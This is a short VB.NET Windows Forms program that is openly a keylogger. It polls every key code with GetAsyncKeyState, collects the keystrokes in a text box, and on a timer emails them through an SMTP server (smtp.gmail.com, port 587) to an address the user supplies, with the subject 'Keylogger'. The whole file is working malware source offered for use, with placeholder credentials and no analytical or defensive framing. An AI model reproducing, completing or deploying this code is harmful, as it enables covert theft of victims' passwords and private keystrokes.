Imports System.Net.Mail
Public Class Form1
    Dim result As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        For i = 1 To 255
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                RichTextBox1.Text = RichTextBox1.Text + Chr(i)
            End If
        Next i
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Timer1.Start()
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Timer1.Stop()
    End Sub

    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        Dim MyMailMessage As New MailMessage()
        MyMailMessage.From = New MailAddress("your email address")
        MyMailMessage.To.Add("your email address")
        MyMailMessage.Subject = ("Keylogger")
        MyMailMessage.Body = RichTextBox1.Text
        Dim SMTPServer As New SmtpClient("smtp.gmail.com or your host")
        SMTPServer.Port = 587
        SMTPServer.Credentials = New System.Net.NetworkCredential("your email address", "your password")
        SMTPServer.EnableSsl = True
        SMTPServer.Send(MyMailMessage)
        RichTextBox1.Text = ("")
    End Sub
End Class